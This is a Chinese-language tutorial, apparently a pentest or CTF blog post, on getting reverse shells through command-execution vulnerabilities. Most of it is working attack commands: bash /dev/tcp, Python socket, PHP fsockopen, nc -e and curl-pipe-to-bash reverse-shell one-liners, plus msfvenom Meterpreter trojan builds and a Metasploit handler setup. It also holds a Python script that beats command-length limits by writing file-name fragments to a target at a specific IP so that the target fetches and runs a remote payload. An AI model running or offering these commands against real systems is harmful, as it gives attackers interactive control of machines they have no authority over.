命令执行系列

前言

通常web应用或中间件上的命令执行漏洞,直接利用起来很麻烦,还会有一些限制,或者完全没有回显,那我们就可以先反弹一个shell到我们的主机上,这样利用起来方便,也有利于后续攻击。

原理

reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

bash -i >& /dev/tcp/ip/2333 0>&1
  1. bash -i

1) bash 是linux 的一个比较常见的shell,其实linux的shell还有很多,比如 sh、zsh、等,他们之间有着细小差别

2) -i 这个参数表示的是产生交互式的shell

  1. /dev/tcp/ip/port

/dev/tcp|udp/ip/port 这个文件是特别特殊的,实际上可以将其看成一个设备(Linux下一切皆文件)

  1. >&0&>1
    1) >&的作用是将本机上返回的结果重定向到攻击机上,在本机上执行bash -i >& /dev/tcp/ip/2333后可以发现,只能在本机上输入命令,但命令和执行结果都不会在本机上而是在攻击机上显示。
    2) 0>&1 的作用是将攻击机上的指令传给本机,两句结合起来就可以让我们后的一个可交互的shell。

利用

  1. bash反弹
    bash -i >& /dev/tcp/ip/2333 0>&1
    bash是需要shell解析的,在一些环境中可能无法使用
    其他版本:
    exec 5<>/dev/tcp/x.x.x.x/4444;cat <&5 | while read line; do $line 2>&5 >&5;done
    exec 5<>/dev/tcp/x.x.x.x/4444 这句话将文件描述符5重定向到了 /dev/tcp/192.168.146.129/2333,方式为读写,于是我们就能通过文件描述符对这个socket连接进行操作。

  2. poython反弹
    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    python反弹的原理是使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符。
    这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程(3),接下来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了

  3. php反弹
    最简单的,可以利用php中的exec函数
    php- 'exec("/bin/bash -i >& /dev/tcp/192.168.0.4/7777")'
    或者利用php的fsockopen去连接远程
    php -r '$sock=fsockopen("攻击机ip",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

  4. nc反弹
    需要被攻击主机上安装有nc,执行
    nc -e /bin/bash ip 2333
    -e受到限制时,可以使用管道符
    nc 192.168.0.4 6666|/bin/bash|ip 7777

  5. curl反弹
    curl IP地址|bash
    curl会读取网页上的内容,通过|bash将读取到的内容作为shell命令执行。
    先将反弹shell一句话放在自己的vps上,通过curl就能读取并执行了。

  6. msf生成木马反弹shell

    • msf中内置了强大的木马库,可以直接使用它提供的payload来反弹一个shell
      1. 生成php反弹木马:
        msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f raw > /root/shell.php
      2. 生成windows反弹木马:
        msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f exe > /root/hacker.exe
      3. 生成linux反弹木马:
        msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=4444 -f elf > /root/shell
    • 在msf上开启监听
      1. 选择监听模块:
        use exploit/multi/handler
      2. 设置payload反弹:
        set payload windows/meterpreter/reverse_tcp,生成木马payload
      3. 设置LHOST、LPORT参数:
        set LHOST 攻击机ip   set LPORT 监听端口
      4. exploit 或 run 开始攻击,进行监听
      5. 等待靶机运行木马,msf产生session会话

绕过

执行命令的绕过大同小异,无非是对命令经行编码、截断或者替换,这里将一种特殊的绕过情况:限制命令长度

一些ctf题中会限制你输入内容的长度,这时就需要分批绕过。
我们可以将反弹语句放在自己的服务器上,通过以下方式执行:
curl IP地址|bash
现在自己服务器的主页网站放入反弹语句,如:
bash -i >& /dev/tcp/ip/7777 0>&1
然后在服务器上监听7777端口
准备工作就绪,开始准备写入命令

>x可以生成一个名为'x'的文件夹
ls -t>y.sh可以将当前目录下所有文件夹名写入y.sh

我们通过这两个命令来绕过长度限制来达到写入脚本的目的。

这里贴上我自己的脚本:

#encoding:utf-8
import requests
baseurl = "http://114.67.246.176:10007/?cmd="
s = requests.session()

# curl ip|bash
list=[
    ">bash",
    ">\|\\",
    ">02\\",
    ">1\\",
    ">2.\\",
    ">11\\",
    ">5.\\",
    ">0\\",
    ">7.\\",
    ">12\\",
    ">\ \\",
    ">rl\\",
    ">cu\\"
]

for j in list:
    url = baseurl+str(j)
    s.get(url)

s.get(baseurl+"ls -t>y")
s.get(baseurl+"sh y")

倒写的原因和文件夹生成后的排序有关,不再赘述

后记

反弹shell是渗透的第一步,一个交互式的shell让我们可以经行更多的操作。


"孓然一身 , 了无牵挂"